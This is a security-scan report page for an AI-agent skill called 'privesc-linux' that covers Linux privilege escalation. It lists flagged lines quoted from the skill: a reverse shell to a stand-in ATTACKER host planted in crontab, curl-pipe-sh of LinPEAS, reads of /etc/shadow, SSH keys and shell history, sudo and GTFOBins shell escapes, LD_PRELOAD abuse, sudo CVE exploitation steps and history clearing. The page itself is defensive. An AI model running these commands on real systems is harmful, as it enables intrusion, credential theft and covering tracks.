hypnguyen1209/offensive-claude / skills/privesc-linux
privesc-linux
FlaggedUse when escalating privileges on a Linux host — SUID/SGID & GTFOBins, sudo LPE (CVE-2025-32462/32463), capabilities & LD_PRELOAD, kernel LPE (CVE-2024-1086, Dirty Pipe, GameOver(lay)), service misconfig (PwnKit, Looney Tunables), container/namespace escape
Security report
FlaggedStatic analysis of one exact version. It reduces risk and shows evidence; it does not certify that a skill is safe.
- Commit
7baa2fdea777f638a63b8a7071ef973881bdbfcc- Content hash
a96c566e47dbf378dbc710735f6131ecdf9beff923523e0bfc1e044bc3c75dff- Scanned
- 2026-11-17
- Scanner version
- skillxone-scan-1.0.0
- Policy version
- 0.1-draft
- Decision
- 13 open critical or high findings.
- Verification expires
- Not applicable
Findings (13 high, 4 medium, 41 low)
The skill refers to system password files, a location that holds private data or credentials.
# Build/run; if fd 8 isn't right, iterate 7..15. Reading ../../../etc/shadow proves host FS access.Suggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
A disk or partition tool can erase or reformat a drive.
fdisk -l 2>/dev/null # see host disks -> mount themSuggested fix: Remove disk and partition operations from the skill.
A script is downloaded and run in one step, so whatever the server returns at that moment is executed without review.
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh -s -- -q 2>/dev/null | tee /dev/shm/.lpSuggested fix: Download the script, check it (and its checksum or signature), then run the saved copy. Prefer a package manager.
The skill refers to system password files, a location that holds private data or credentials.
ls -l /etc/passwd /etc/shadow /etc/sudoers 2>/dev/null # 5. writable critical filesSuggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The skill refers to SSH keys, a location that holds private data or credentials.
find / -name '*.kdbx' -o -name 'id_rsa' -o -name '.git-credentials' 2>/dev/nullSuggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The skill refers to system password files, a location that holds private data or credentials.
-w /etc/sudoers -p wa -k sudoers_changeSuggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
Shell history or system logs are erased, which hides what was done.
`unset HISTFILE` / run interpreter with history disabled), file `atime` (often `relatime` soSuggested fix: Remove commands that clear history or logs.
A disk or partition tool can erase or reformat a drive.
mkfs.xfs -q "$IMG"Suggested fix: Remove disk and partition operations from the skill.
The skill refers to system password files, a location that holds private data or credentials.
# --- writable /etc/passwd or /etc/shadow ---Suggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The skill refers to system password files, a location that holds private data or credentials.
-w /etc/sudoers -p wa -k sudoersSuggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The skill refers to system password files, a location that holds private data or credentials.
printf " or read host files: cat /proc/1/root/etc/shadow\n"Suggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The skill refers to system password files, a location that holds private data or credentials.
for p in ["/etc/passwd", "/etc/shadow", "/etc/sudoers", "/etc/group"]:Suggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The skill refers to SSH keys, a location that holds private data or credentials.
if name in ("id_rsa", "id_ed25519", "id_dsa", ".git-credentials", ".netrc") or \Suggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The command gives a remote host interactive control of this machine (a reverse shell). Severity lowered from critical because the surrounding text warns against it.
echo '* * * * * root bash -c \"bash -i >& /dev/tcp/ATTACKER/4444 0>&1\"' >> etc/crontab"]Suggested fix: Remove it.
The skill refers to shell history, a location that holds private data or credentials.
env; cat ~/.bash_history ~/.*_history 2>/dev/null # creds in env/historySuggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The skill refers to system password files, a location that holds private data or credentials. Severity lowered from high because it appears in prose rather than code.
| `cap_setgid+ep` | become gid 0 (then read group-readable secrets) | `os.setgid(0)` then access `/etc/shadow` via shadow group on some distros |Suggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The skill refers to shell history, a location that holds private data or credentials.
for h in [os.path.expanduser("~/.bash_history"), os.path.expanduser("~/.zsh_history")]:Suggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
A command runs with administrator privileges.
first (`id`, `sudo -l`, SUID list, caps), then heavier sweeps (full FS walks, process timing) onlySuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
id; sudo -n -l 2>/dev/null # 1. sudo rights (NOPASSWD = instant win)Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo --version | head -1 # 4. sudo CVE-2025-32462/-32463 range checkSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A script is downloaded and run in one step, so whatever the server returns at that moment is executed without review. Severity lowered from high because the surrounding text warns against it.
- **Don't drop LinPEAS to disk** under a named file — stream it (`curl | sh`) or stage in `/dev/shm`Suggested fix: Download the script, check it (and its checksum or signature), then run the saved copy. Prefer a package manager.
A command runs with administrator privileges.
MNT=$(mktemp -d); sudo mount -o loop "$IMG" "$MNT" 2>/dev/null || mount -o loop "$IMG" "$MNT"Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
Covers SUID/SGID + GTFOBins, sudo misconfiguration escapes, the 2025 sudo CVEs that defeat defaultSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo -n -l 2>/dev/null # non-interactive list; NOPASSWD entries are listed without a passwordSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
GTFOBins sudo escapes (when the rule lets you run the binary as root):Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo vim -c ':!/bin/sh' sudo less /etc/hosts # then !/bin/shSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo awk 'BEGIN {system("/bin/sh")}' sudo find . -exec /bin/sh \; -quitSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo perl -e 'exec "/bin/sh";' sudo nmap --interactive # legacySuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo tar -cf /dev/null x --checkpoint=1 --checkpoint-action=exec=/bin/sh # tarSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo systemctl # then in pager: !sh ; or sudo systemctl link / edit a unitSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
If `sudo -l` shows `env_keep+=LD_PRELOAD` (or `LD_LIBRARY_PATH`), and you may run *any* command as root:Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo LD_PRELOAD=/dev/shm/pe.so /usr/bin/<any-allowed-command>Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
## sudo CVE-2025-32462 — host option LPE (VERIFIED)Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo -l -h cerebus # discover privileges granted on the other hostSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo -h cerebus id # bug: command actually runs -> uid=0(root)Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
**Vuln test:** `sudo -R $(pwd) /bin/true` → if it errors with "No such file or directory" (rather thanSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo -R "$STG" woot 2>/dev/null || sudo -R "$STG" idSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
# cap_suid_hunter.sh - Triage SUID/SGID binaries, file capabilities, and sudo rights, ranking onlySuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
# ./cap_suid_hunter.sh # full triage (SUID/SGID + caps + sudo -l)Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
# ./cap_suid_hunter.sh --no-find # skip SUID find entirely (caps + sudo only)Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
SUDO_L=$(sudo -n -l 2>/dev/null)Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
printf " gcc -fPIC -shared -nostartfiles -o /dev/shm/pe.so pe.c; sudo LD_PRELOAD=/dev/shm/pe.so <cmd>\n" ;;Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
printf " sudo not installed\n"Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
SECTIONS: sysinfo sudo suid sgid caps cron systemd path passwd writable creds kernel container nfs dbusSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
["Run: sudo -R $(pwd) /bin/true -> 'No such file or directory' => vulnerable",Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
"Build malicious .so, run: sudo LD_PRELOAD=/dev/shm/pe.so <allowed-cmd>")Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
# sudo_cve_2025_check.sh - Detect and (optionally) exploit the 2025 sudo LPE CVEs + PwnKit.Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
printf "%b[!]%b sudo not installed\n" "$YEL" "$RST"Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
OUT=$(sudo -R /tmp/.nonexist_$$ /bin/true 2>&1)Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
SL=$(sudo -n -l 2>/dev/null)Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
printf " Try: sudo -l -h <otherhost> ; then sudo -h <otherhost> id\n"Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
printf "%b[*]%b triggering: sudo -R %s woot\n" "$YEL" "$RST" "$STG"Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
description: Use when escalating privileges on a Linux host — SUID/SGID & GTFOBins, sudo LPE (CVE-2025-32462/32463), capabilities & LD_PRELOAD, kernel LPE (CVE-2024-1086, Dirty Pipe, GameOver(lay)), service misconfig (PwnKit, Looney Tunabl…Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
| sudo misconfig + GTFOBins escape | T1548.003 | CWE-269 | references/suid-sudo-capabilities.md | scripts/cap_suid_hunter.sh |Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
| sudo host option LPE (CVE-2025-32462) | T1548.003 | CWE-863 | references/suid-sudo-capabilities.md | scripts/sudo_cve_2025_check.sh |Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
| sudo chroot/NSS LPE (CVE-2025-32463) | T1548.003 | CWE-829 | references/suid-sudo-capabilities.md | scripts/sudo_cve_2025_check.sh |Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
# 2. SUID / capabilities / sudo triage (maps directly to GTFOBins)Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
./cap_suid_hunter.sh # ranks exploitable SUID + caps + sudo -lSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
Checks run
- prompt-injection
- dangerous-commands
- credentials
- network
- file-access
- integrity
Checks skipped
- dependencies: No dependency manifest in the skill directory.
- gitleaks: gitleaks is not installed on this host.
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack." | Stars: 198k | Updated | Claude CodeCodex | Verified | Install |
| ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |